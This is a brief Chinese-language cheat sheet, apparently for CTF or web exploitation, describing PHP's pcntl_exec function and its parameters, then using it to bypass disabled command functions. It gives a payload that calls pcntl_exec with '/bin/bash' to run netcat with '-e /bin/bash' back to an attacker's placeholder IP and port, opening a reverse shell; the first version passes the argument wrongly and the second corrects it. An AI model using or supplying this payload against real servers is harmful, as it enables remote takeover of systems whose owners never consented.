pcntl_exec函数

函数介绍：

bool pcntl_exec(string $path, array $args = [], array $envs = []);

 path:我们执行一个shell命令，比如ls，这个命令肯定是从linux系统的某个文件中获取的，这里的path就是文件的位置

args:就是我们需要传给程序的参数的字符串数组

envs:环境变量，通常使用默认即可

使用限制：此函数未被禁用，可通过phpinfo查看

由于函数本身没有回显，所以需要通过shell反弹来查看

举例：我们需要执行ls命令，那么payload=pcntl_exec("/bin/bash","nc xxx.xxx.xxx.xxx yyyy -e /bin/bash");

其中xxx.xxx.xxx.xxx是ip地址，

payload=pcntl_exec("/bin/bash",array("nc xxx.xxx.xxx.xxx yyyy -e /bin/bash"));
#其中xxx.xxx.xxx.xxx是ip地址，yyyy是攻击机开放的端口
#nc反弹到监听端口
#-e /bin/bash 返回命令行交互界面